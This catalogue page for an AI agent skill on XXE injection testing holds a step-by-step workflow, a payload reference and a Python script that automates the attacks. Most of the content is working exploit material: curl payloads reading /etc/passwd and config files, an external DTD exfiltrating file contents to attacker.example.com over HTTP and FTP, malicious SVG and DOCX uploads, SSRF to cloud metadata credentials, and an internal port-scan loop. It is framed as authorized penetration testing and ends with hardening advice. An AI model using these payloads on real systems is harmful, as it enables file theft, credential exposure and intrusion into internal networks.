
Testing For Xxe Injection Vulnerabilities
- 248 installs
- 27.3k repo stars
- Updated August 2, 2026
- mukul975/anthropic-cybersecurity-skills
Detect and exploit XXE conditions in XML parsers and upload endpoints so external entity attacks, file disclosure, and SSRF vectors are closed before production launch.
About
Guides security testing for XML External Entity injection by building XXE payloads, targeting upload and API parsers, demonstrating file disclosure or SSRF impact, and recommending secure parser configuration and input restrictions.
- External entity payloads
- DTD exploitation
- File read probes
- SSRF via XXE
- Parser hardening
Testing For Xxe Injection Vulnerabilities by the numbers
- 248 all-time installs (skills.sh)
- +17 installs in the week ending Aug 4, 2026 (Skillselion tracking)
- Ranked #688 of 2,203 Security skills by installs in the Skillselion catalog
- Data as of Aug 5, 2026 (Skillselion catalog sync)
npx skills add https://github.com/mukul975/anthropic-cybersecurity-skills --skill testing-for-xxe-injection-vulnerabilitiesAdd your badge
Show developers this skill is listed on Skillselion. Paste this into your README.
| Installs | 248 |
|---|---|
| repo stars | ★ 27.3k |
| Last updated | August 2, 2026 |
| Repository | mukul975/anthropic-cybersecurity-skills ↗ |
What it does
Detect and exploit XXE conditions in XML parsers and upload endpoints so external entity attacks, file disclosure, and SSRF vectors are closed before production launch.
Files
Testing for XXE Injection Vulnerabilities
When to Use
- During authorized penetration tests when the application processes XML input (SOAP APIs, file uploads, RSS feeds)
- When testing APIs that accept
Content-Type: application/xmlortext/xml - For assessing XML parsers in file upload functionality (DOCX, XLSX, SVG, PDF)
- When evaluating SOAP-based web services for entity injection
- During security assessments of enterprise applications using XML configuration
Prerequisites
- Authorization: Written penetration testing agreement for the target
- Burp Suite Professional: For intercepting and modifying XML requests
- XXEinjector: Automated XXE exploitation tool (
git clone https://github.com/enjoiz/XXEinjector.git) - Out-of-band server: Burp Collaborator or interactsh for blind XXE detection
- curl: For manual payload crafting and submission
- Python: For building DTD hosting server
Workflow
Step 1: Identify XML Processing Points
Find all application endpoints that accept or process XML data.
# Look for XML content types in Burp proxy history
# Filter for: Content-Type: application/xml, text/xml, application/soap+xml
# Test if JSON endpoints also accept XML
# Original JSON request:
curl -s -X POST \
-H "Content-Type: application/json" \
-d '{"search":"test"}' \
"https://target.example.com/api/search"
# Try converting to XML:
curl -s -X POST \
-H "Content-Type: application/xml" \
-d '<?xml version="1.0"?><root><search>test</search></root>' \
"https://target.example.com/api/search"
# Check file upload endpoints for XML-based formats
# DOCX, XLSX, PPTX, SVG, PDF, XML, RSS, ATOM, SOAP
# These all contain XML that may be parsed server-side
# Check for SOAP endpoints
curl -s -X POST \
-H "Content-Type: text/xml" \
-H "SOAPAction: \"\"" \
-d '<?xml version="1.0"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><test/></soap:Body></soap:Envelope>' \
"https://target.example.com/ws/service"Step 2: Test for Basic XXE with File Retrieval
Inject XML entities to read local files from the server.
# Basic XXE payload to read /etc/passwd
curl -s -X POST \
-H "Content-Type: application/xml" \
-d '<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root><search>&xxe;</search></root>' \
"https://target.example.com/api/search"
# Windows file read
curl -s -X POST \
-H "Content-Type: application/xml" \
-d '<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini">
]>
<root><search>&xxe;</search></root>' \
"https://target.example.com/api/search"
# Read application configuration files
curl -s -X POST \
-H "Content-Type: application/xml" \
-d '<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///var/www/html/config.php">
]>
<root><search>&xxe;</search></root>' \
"https://target.example.com/api/search"
# PHP filter wrapper for base64 encoding (avoids XML parsing errors)
curl -s -X POST \
-H "Content-Type: application/xml" \
-d '<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/var/www/html/config.php">
]>
<root><search>&xxe;</search></root>' \
"https://target.example.com/api/search"Step 3: Test Blind XXE with Out-of-Band Detection
When the entity value is not reflected in the response, use out-of-band techniques.
# Blind XXE with HTTP callback (use Burp Collaborator or interactsh)
# Start interactsh: interactsh-client
# Use the generated domain: abc123.oast.fun
curl -s -X POST \
-H "Content-Type: application/xml" \
-d '<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://abc123.oast.fun/xxe-test">
]>
<root><search>&xxe;</search></root>' \
"https://target.example.com/api/search"
# Check interactsh/Collaborator for incoming DNS or HTTP requests
# Blind XXE with DNS exfiltration
curl -s -X POST \
-H "Content-Type: application/xml" \
-d '<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://xxe-confirmed.abc123.oast.fun">
]>
<root><search>&xxe;</search></root>' \
"https://target.example.com/api/search"
# Blind XXE via parameter entities (when regular entities are blocked)
curl -s -X POST \
-H "Content-Type: application/xml" \
-d '<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY % xxe SYSTEM "http://abc123.oast.fun/xxe-param">
%xxe;
]>
<root><search>test</search></root>' \
"https://target.example.com/api/search"Step 4: Exfiltrate Data via Out-of-Band XXE
Use external DTD to extract file contents through HTTP requests.
# Host a malicious DTD file on attacker server
# Create file: evil.dtd
cat > /tmp/evil.dtd << 'EOF'
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://attacker.example.com/?data=%file;'>">
%eval;
%exfil;
EOF
# Host the DTD
cd /tmp && python3 -m http.server 8888 &
# Send the XXE payload referencing the external DTD
curl -s -X POST \
-H "Content-Type: application/xml" \
-d '<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY % dtd SYSTEM "http://attacker.example.com:8888/evil.dtd">
%dtd;
]>
<root><search>test</search></root>' \
"https://target.example.com/api/search"
# For multi-line file exfiltration, use FTP protocol
# evil-ftp.dtd:
cat > /tmp/evil-ftp.dtd << 'EOF'
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'ftp://attacker.example.com/%file;'>">
%eval;
%exfil;
EOF
# Use xxeserv or similar FTP listener to capture multi-line output
# python3 xxeserv.py --ftp --port 2121Step 5: Test XXE via File Uploads
Test XML parsing in document upload functionality.
# SVG file with XXE
cat > /tmp/xxe.svg << 'EOF'
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<svg xmlns="http://www.w3.org/2000/svg" width="200" height="200">
<text x="0" y="20">&xxe;</text>
</svg>
EOF
# Upload the SVG
curl -s -X POST \
-F "file=@/tmp/xxe.svg;type=image/svg+xml" \
-b "session=abc123" \
"https://target.example.com/api/upload/avatar"
# DOCX file with XXE (DOCX is a ZIP containing XML files)
mkdir -p /tmp/xxe-docx
cd /tmp/xxe-docx
# Unzip a legitimate .docx file
unzip /tmp/template.docx -d /tmp/xxe-docx
# Inject XXE into [Content_Types].xml or document.xml
# Add DTD with external entity to document.xml
# Repackage: cd /tmp/xxe-docx && zip -r /tmp/malicious.docx *
# XLSX with XXE (same technique as DOCX)
# Inject into xl/sharedStrings.xml or [Content_Types].xmlStep 6: Test XXE for Server-Side Request Forgery (SSRF)
Use XXE to make the server send requests to internal services.
# SSRF via XXE to cloud metadata
curl -s -X POST \
-H "Content-Type: application/xml" \
-d '<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/">
]>
<root><search>&xxe;</search></root>' \
"https://target.example.com/api/search"
# Internal port scanning via XXE
for port in 22 80 443 3306 5432 6379 8080 8443 9200; do
echo -n "Port $port: "
curl -s -X POST --max-time 5 \
-H "Content-Type: application/xml" \
-d "<?xml version=\"1.0\"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM \"http://127.0.0.1:$port/\">]><root><search>&xxe;</search></root>" \
"https://target.example.com/api/search" | head -c 100
echo
done
# Access internal services
curl -s -X POST \
-H "Content-Type: application/xml" \
-d '<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://internal-admin.local:8080/admin">
]>
<root><search>&xxe;</search></root>' \
"https://target.example.com/api/search"Key Concepts
| Concept | Description |
|---|---|
| XML External Entity | An entity defined in a DTD that references external resources via SYSTEM or PUBLIC keywords |
| DTD (Document Type Definition) | Defines the structure and legal elements of an XML document, including entity declarations |
| Internal Entity | Entity defined with a value directly in the DTD (<!ENTITY name "value">) |
| External Entity | Entity that loads content from a URI (<!ENTITY name SYSTEM "uri">) |
| Parameter Entity | Entity used within the DTD itself, prefixed with % (<!ENTITY % name SYSTEM "uri">) |
| Blind XXE | XXE where entity values are not reflected in the response, requiring out-of-band exfiltration |
| Billion Laughs (DoS) | Recursive entity expansion attack causing exponential memory consumption |
| XXE to SSRF | Using XXE to make the server send HTTP requests to internal or external services |
Tools & Systems
| Tool | Purpose |
|---|---|
| Burp Suite Professional | Request interception, modification, and Collaborator for OOB detection |
| XXEinjector | Automated XXE exploitation with file exfiltration and SSRF capabilities |
| interactsh | Out-of-band interaction server for detecting blind XXE callbacks |
| xxeserv | Dedicated FTP/HTTP server for XXE data exfiltration |
| OWASP ZAP | Automated XXE scanning in active scan mode |
| DTD-Finder | Discovers DTD files on the server for entity injection |
Common Scenarios
Scenario 1: SOAP API File Read
A SOAP web service processes XML input without disabling external entities. Injecting a DTD with a SYSTEM entity in the SOAP body reads /etc/passwd and returns it in the SOAP response.
Scenario 2: SVG Upload Blind XXE
An image upload feature accepts SVG files. The SVG is parsed server-side for thumbnail generation. Using a blind XXE payload in the SVG, server files are exfiltrated via out-of-band HTTP requests.
Scenario 3: JSON to XML Content-Type Switch
A REST API primarily uses JSON but the XML parser is also enabled. Switching Content-Type to application/xml and sending an XXE payload exposes server files through the API response.
Scenario 4: DOCX Processing XXE
A resume upload feature processes DOCX files. Injecting XXE into the [Content_Types].xml file within the DOCX archive triggers file read when the document is parsed server-side.
Output Format
## XXE Injection Finding
**Vulnerability**: XML External Entity (XXE) Injection
**Severity**: Critical (CVSS 9.1)
**Location**: POST /api/search (Content-Type: application/xml)
**OWASP Category**: A05:2021 - Security Misconfiguration
### Reproduction Steps
1. Send POST request to /api/search with Content-Type: application/xml
2. Include DTD with external entity: <!ENTITY xxe SYSTEM "file:///etc/passwd">
3. Reference entity in XML body: <search>&xxe;</search>
4. Server returns file contents in the response
### Confirmed Impact
- Local file read: /etc/passwd, /etc/hostname, application config files
- SSRF: Accessed AWS metadata at 169.254.169.254
- Internal network scanning: Identified internal services on ports 3306, 6379, 8080
### Files Retrieved
| File | Contents Summary |
|------|-----------------|
| /etc/passwd | 42 user accounts, service accounts identified |
| /var/www/html/config.php | Database credentials in plaintext |
| /etc/hostname | Internal hostname: prod-web-01 |
### Recommendation
1. Disable external entity processing in the XML parser
2. Disable DTD processing entirely if not required
3. Use JSON instead of XML where possible
4. Implement input validation to reject DTD declarations in XML input
5. Apply least-privilege file system permissions for the web server user
Apache License
Version 2.0, January 2004
http://www.apache.org/licenses/
TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
1. Definitions.
"License" shall mean the terms and conditions for use, reproduction,
and distribution as defined by Sections 1 through 9 of this document.
"Licensor" shall mean the copyright owner or entity authorized by
the copyright owner that is granting the License.
"Legal Entity" shall mean the union of the acting entity and all
other entities that control, are controlled by, or are under common
control with that entity. For the purposes of this definition,
"control" means (i) the power, direct or indirect, to cause the
direction or management of such entity, whether by contract or
otherwise, or (ii) ownership of fifty percent (50%) or more of the
outstanding shares, or (iii) beneficial ownership of such entity.
"You" (or "Your") shall mean an individual or Legal Entity
exercising permissions granted by this License.
"Source" form shall mean the preferred form for making modifications,
including but not limited to software source code, documentation
source, and configuration files.
"Object" form shall mean any form resulting from mechanical
transformation or translation of a Source form, including but
not limited to compiled object code, generated documentation,
and conversions to other media types.
"Work" shall mean the work of authorship, whether in Source or
Object form, made available under the License, as indicated by a
copyright notice that is included in or attached to the work
(an example is provided in the Appendix below).
"Derivative Works" shall mean any work, whether in Source or Object
form, that is based on (or derived from) the Work and for which the
editorial revisions, annotations, elaborations, or other modifications
represent, as a whole, an original work of authorship. For the purposes
of this License, Derivative Works shall not include works that remain
separable from, or merely link (or bind by name) to the interfaces of,
the Work and Derivative Works thereof.
"Contribution" shall mean any work of authorship, including
the original version of the Work and any modifications or additions
to that Work or Derivative Works thereof, that is intentionally
submitted to the Licensor for inclusion in the Work by the copyright owner
or by an individual or Legal Entity authorized to submit on behalf of
the copyright owner. For the purposes of this definition, "submitted"
means any form of electronic, verbal, or written communication sent
to the Licensor or its representatives, including but not limited to
communication on electronic mailing lists, source code control systems,
and issue tracking systems that are managed by, or on behalf of, the
Licensor for the purpose of discussing and improving the Work, but
excluding communication that is conspicuously marked or otherwise
designated in writing by the copyright owner as "Not a Contribution."
"Contributor" shall mean Licensor and any individual or Legal Entity
on behalf of whom a Contribution has been received by the Licensor and
subsequently incorporated within the Work.
2. Grant of Copyright License. Subject to the terms and conditions of
this License, each Contributor hereby grants to You a perpetual,
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
copyright license to reproduce, prepare Derivative Works of,
publicly display, publicly perform, sublicense, and distribute the
Work and such Derivative Works in Source or Object form.
3. Grant of Patent License. Subject to the terms and conditions of
this License, each Contributor hereby grants to You a perpetual,
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
(except as stated in this section) patent license to make, have made,
use, offer to sell, sell, import, and otherwise transfer the Work,
where such license applies only to those patent claims licensable
by such Contributor that are necessarily infringed by their
Contribution(s) alone or by combination of their Contribution(s)
with the Work to which such Contribution(s) was submitted. If You
institute patent litigation against any entity (including a
cross-claim or counterclaim in a lawsuit) alleging that the Work
or a Contribution incorporated within the Work constitutes direct
or contributory patent infringement, then any patent licenses
granted to You under this License for that Work shall terminate
as of the date such litigation is filed.
4. Redistribution. You may reproduce and distribute copies of the
Work or Derivative Works thereof in any medium, with or without
modifications, and in Source or Object form, provided that You
meet the following conditions:
(a) You must give any other recipients of the Work or
Derivative Works a copy of this License; and
(b) You must cause any modified files to carry prominent notices
stating that You changed the files; and
(c) You must retain, in the Source form of any Derivative Works
that You distribute, all copyright, patent, trademark, and
attribution notices from the Source form of the Work,
excluding those notices that do not pertain to any part of
the Derivative Works; and
(d) If the Work includes a "NOTICE" text file as part of its
distribution, then any Derivative Works that You distribute must
include a readable copy of the attribution notices contained
within such NOTICE file, excluding any notices that do not
pertain to any part of the Derivative Works, in at least one
of the following places: within a NOTICE text file distributed
as part of the Derivative Works; within the Source form or
documentation, if provided along with the Derivative Works; or,
within a display generated by the Derivative Works, if and
wherever such third-party notices normally appear. The contents
of the NOTICE file are for informational purposes only and
do not modify the License. You may add Your own attribution
notices within Derivative Works that You distribute, alongside
or as an addendum to the NOTICE text from the Work, provided
that such additional attribution notices cannot be construed
as modifying the License.
You may add Your own copyright statement to Your modifications and
may provide additional or different license terms and conditions
for use, reproduction, or distribution of Your modifications, or
for any such Derivative Works as a whole, provided Your use,
reproduction, and distribution of the Work otherwise complies with
the conditions stated in this License.
5. Submission of Contributions. Unless You explicitly state otherwise,
any Contribution intentionally submitted for inclusion in the Work
by You to the Licensor shall be under the terms and conditions of
this License, without any additional terms or conditions.
Notwithstanding the above, nothing herein shall supersede or modify
the terms of any separate license agreement you may have executed
with Licensor regarding such Contributions.
6. Trademarks. This License does not grant permission to use the trade
names, trademarks, service marks, or product names of the Licensor,
except as required for reasonable and customary use in describing the
origin of the Work and reproducing the content of the NOTICE file.
7. Disclaimer of Warranty. Unless required by applicable law or
agreed to in writing, Licensor provides the Work (and each
Contributor provides its Contributions) on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
implied, including, without limitation, any warranties or conditions
of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
PARTICULAR PURPOSE. You are solely responsible for determining the
appropriateness of using or redistributing the Work and assume any
risks associated with Your exercise of permissions under this License.
8. Limitation of Liability. In no event and under no legal theory,
whether in tort (including negligence), contract, or otherwise,
unless required by applicable law (such as deliberate and grossly
negligent acts) or agreed to in writing, shall any Contributor be
liable to You for damages, including any direct, indirect, special,
incidental, or consequential damages of any character arising as a
result of this License or out of the use or inability to use the
Work (including but not limited to damages for loss of goodwill,
work stoppage, computer failure or malfunction, or any and all
other commercial damages or losses), even if such Contributor
has been advised of the possibility of such damages.
9. Accepting Warranty or Additional Liability. While redistributing
the Work or Derivative Works thereof, You may choose to offer,
and charge a fee for, acceptance of support, warranty, indemnity,
or other liability obligations and/or rights consistent with this
License. However, in accepting such obligations, You may act only
on Your own behalf and on Your sole responsibility, not on behalf
of any other Contributor, and only if You agree to indemnify,
defend, and hold each Contributor harmless for any liability
incurred by, or claims asserted against, such Contributor by reason
of your accepting any such warranty or additional liability.
END OF TERMS AND CONDITIONS
APPENDIX: How to apply the Apache License to your work.
To apply the Apache License to your work, attach the following
boilerplate notice, with the fields enclosed by brackets "[]"
replaced with your own identifying information. (Don't include
the brackets!) The text should be enclosed in the appropriate
comment syntax for the file format. Please do not remove or change
the license header comment from a contributed file except when
necessary.
Copyright 2026 mukul975
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
API Reference: Testing for XXE Injection Vulnerabilities
defusedxml Library (Safe Parsing)
Installation
pip install defusedxmlSafe Parsing
import defusedxml.ElementTree as ET
# Blocks external entities, DTD processing, entity expansion
tree = ET.fromstring(xml_string)Protections enabled by default:
forbid_dtd: Blocks DOCTYPE declarationsforbid_entities: Blocks entity definitionsforbid_external: Blocks SYSTEM/PUBLIC entities
requests Library (XXE Testing)
Sending XML Payloads
headers = {"Content-Type": "application/xml"}
resp = requests.post(url, headers=headers, data=xxe_payload)XXE Payload Types
| Type | Description | Detection |
|---|---|---|
| Classic (in-band) | Entity value in response | Check for file contents |
| Blind (OOB HTTP) | Entity triggers HTTP callback | Monitor callback server |
| Blind (OOB DNS) | Entity triggers DNS lookup | Monitor DNS server |
| Parameter entity | Uses %entity; in DTD | Check callback server |
| PHP filter | Base64 encodes file content | Decode base64 in response |
| SSRF via XXE | Access internal URLs | Check for metadata/internal data |
XXE Entity Syntax
<!-- Internal entity -->
<!ENTITY name "value">
<!-- External entity (file read) -->
<!ENTITY xxe SYSTEM "file:///etc/passwd">
<!-- External entity (HTTP) -->
<!ENTITY xxe SYSTEM "http://attacker.com/callback">
<!-- Parameter entity (used in DTD) -->
<!ENTITY % xxe SYSTEM "http://attacker.com/evil.dtd">
%xxe;File Paths for Testing
| OS | File | Content Indicator |
|---|---|---|
| Linux | /etc/passwd | root:x:0:0 |
| Linux | /etc/hostname | hostname string |
| Windows | c:/windows/win.ini | [fonts] |
| AWS | http://169.254.169.254/latest/meta-data/ | ami-id |
References
- defusedxml: https://github.com/tiran/defusedxml
- OWASP XXE Prevention: https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html
- PortSwigger XXE: https://portswigger.net/web-security/xxe
- PayloadsAllTheThings XXE: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20Injection
#!/usr/bin/env python3
"""Agent for testing XXE injection vulnerabilities during authorized assessments."""
import requests
import json
import argparse
import urllib3
from datetime import datetime
from urllib.parse import urljoin
import defusedxml.ElementTree as safe_ET
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
XXE_PAYLOADS = {
"file_read_linux": '''<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root><search>&xxe;</search></root>''',
"file_read_windows": '''<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini">
]>
<root><search>&xxe;</search></root>''',
"ssrf_metadata": '''<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">
]>
<root><search>&xxe;</search></root>''',
"oob_http": '''<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://{callback}/xxe-test">
]>
<root><search>&xxe;</search></root>''',
"oob_parameter_entity": '''<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY % xxe SYSTEM "http://{callback}/xxe-param">
%xxe;
]>
<root><search>test</search></root>''',
"php_filter": '''<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
]>
<root><search>&xxe;</search></root>''',
"billion_laughs_check": '''<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol2 "&lol;&lol;">
<!ENTITY lol3 "&lol2;&lol2;">
]>
<root><search>&lol3;</search></root>''',
}
def detect_xml_endpoints(base_url, token=None):
"""Test if endpoints accept XML content type."""
print("[*] Detecting XML-accepting endpoints...")
headers = {"Content-Type": "application/xml"}
if token:
headers["Authorization"] = f"Bearer {token}"
xml_test = '<?xml version="1.0"?><root><test>hello</test></root>'
endpoints = ["/api/search", "/api/users", "/api/data", "/api/import",
"/api/upload", "/ws/service", "/soap", "/xml"]
xml_endpoints = []
for ep in endpoints:
url = urljoin(base_url, ep)
try:
resp = requests.post(url, headers=headers, data=xml_test, timeout=10, verify=False)
if resp.status_code not in (404, 405, 415):
xml_endpoints.append({"endpoint": ep, "status": resp.status_code})
print(f" [+] {ep}: Accepts XML (status {resp.status_code})")
except requests.RequestException:
continue
return xml_endpoints
def test_content_type_switch(base_url, endpoint, token=None):
"""Test if a JSON endpoint also accepts XML."""
print(f"\n[*] Testing content-type switch on {endpoint}...")
json_headers = {"Content-Type": "application/json"}
xml_headers = {"Content-Type": "application/xml"}
if token:
json_headers["Authorization"] = f"Bearer {token}"
xml_headers["Authorization"] = f"Bearer {token}"
url = urljoin(base_url, endpoint)
try:
json_resp = requests.post(url, headers=json_headers,
json={"search": "test"}, timeout=10, verify=False)
xml_resp = requests.post(url, headers=xml_headers,
data='<?xml version="1.0"?><root><search>test</search></root>',
timeout=10, verify=False)
if xml_resp.status_code not in (415, 400, 404):
print(f" [!] Endpoint accepts both JSON ({json_resp.status_code}) and XML ({xml_resp.status_code})")
return True
except requests.RequestException:
pass
return False
def test_xxe_payloads(base_url, endpoint, token=None, callback=None):
"""Test an endpoint with XXE payloads."""
print(f"\n[*] Testing XXE payloads on {endpoint}...")
findings = []
headers = {"Content-Type": "application/xml"}
if token:
headers["Authorization"] = f"Bearer {token}"
url = urljoin(base_url, endpoint)
file_indicators = {
"file_read_linux": ["root:", "/bin/bash", "/bin/sh", "nobody:"],
"file_read_windows": ["[fonts]", "[extensions]", "for 16-bit"],
"ssrf_metadata": ["ami-id", "instance-id", "security-credentials"],
"php_filter": ["cm9vd", "L2Jpbi9"], # base64 fragments
}
for name, payload in XXE_PAYLOADS.items():
if "{callback}" in payload:
if callback:
payload = payload.replace("{callback}", callback)
else:
continue
try:
resp = requests.post(url, headers=headers, data=payload, timeout=15, verify=False)
indicators = file_indicators.get(name, [])
matched = [ind for ind in indicators if ind in resp.text]
if matched:
findings.append({
"type": "XXE_CONFIRMED", "payload_name": name,
"endpoint": endpoint, "indicators": matched,
"severity": "CRITICAL",
})
print(f" [!] XXE CONFIRMED ({name}): {matched}")
elif resp.status_code == 200 and "error" not in resp.text.lower()[:200]:
if name.startswith("oob"):
findings.append({
"type": "XXE_OOB_SENT", "payload_name": name,
"endpoint": endpoint, "severity": "HIGH",
"detail": "OOB payload sent - check callback server",
})
print(f" [?] OOB payload sent ({name}) - check callback server")
except requests.RequestException as e:
if "timed out" in str(e) and name == "billion_laughs_check":
findings.append({
"type": "XXE_DOS_POSSIBLE", "payload_name": name,
"endpoint": endpoint, "severity": "HIGH",
})
print(f" [!] Possible DoS via entity expansion (request timed out)")
return findings
def test_svg_upload(base_url, upload_endpoint, token):
"""Test SVG file upload for XXE."""
print(f"\n[*] Testing SVG upload XXE on {upload_endpoint}...")
svg_xxe = '''<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [
<!ENTITY xxe SYSTEM "file:///etc/hostname">
]>
<svg xmlns="http://www.w3.org/2000/svg" width="200" height="200">
<text x="0" y="20">&xxe;</text>
</svg>'''
headers = {"Authorization": f"Bearer {token}"}
url = urljoin(base_url, upload_endpoint)
try:
files = {"file": ("xxe.svg", svg_xxe, "image/svg+xml")}
resp = requests.post(url, headers=headers, files=files, timeout=15, verify=False)
if resp.status_code in (200, 201):
print(f" [+] SVG uploaded (status {resp.status_code})")
return [{"type": "SVG_XXE_UPLOAD", "endpoint": upload_endpoint,
"status": resp.status_code, "severity": "HIGH"}]
except requests.RequestException as e:
print(f" [-] Error: {e}")
return []
def verify_safe_parsing(xml_string):
"""Demonstrate safe XML parsing with defusedxml."""
try:
safe_ET.fromstring(xml_string)
return True
except Exception as e:
print(f" [+] defusedxml correctly blocked: {type(e).__name__}")
return False
def generate_report(findings, output_path):
"""Generate XXE assessment report."""
report = {
"assessment_date": datetime.now().isoformat(),
"total_findings": len(findings),
"by_type": {},
"findings": findings,
}
for f in findings:
t = f.get("type", "UNKNOWN")
report["by_type"][t] = report["by_type"].get(t, 0) + 1
with open(output_path, "w") as fh:
json.dump(report, fh, indent=2)
print(f"\n[*] Report: {output_path} | Findings: {len(findings)}")
def main():
parser = argparse.ArgumentParser(description="XXE Injection Testing Agent")
parser.add_argument("base_url", help="Base URL of the target")
parser.add_argument("--token", help="Bearer token for authentication")
parser.add_argument("--endpoint", default="/api/search", help="XML endpoint to test")
parser.add_argument("--callback", help="OOB callback server (e.g., abc123.oast.fun)")
parser.add_argument("--upload-endpoint", help="SVG upload endpoint")
parser.add_argument("-o", "--output", default="xxe_report.json")
args = parser.parse_args()
print(f"[*] XXE Injection Assessment: {args.base_url}")
findings = []
xml_eps = detect_xml_endpoints(args.base_url, args.token)
test_content_type_switch(args.base_url, args.endpoint, args.token)
findings.extend(test_xxe_payloads(args.base_url, args.endpoint, args.token, args.callback))
for ep in xml_eps:
if ep["endpoint"] != args.endpoint:
findings.extend(test_xxe_payloads(args.base_url, ep["endpoint"], args.token, args.callback))
if args.upload_endpoint:
findings.extend(test_svg_upload(args.base_url, args.upload_endpoint, args.token))
verify_safe_parsing(XXE_PAYLOADS["file_read_linux"])
generate_report(findings, args.output)
if __name__ == "__main__":
main()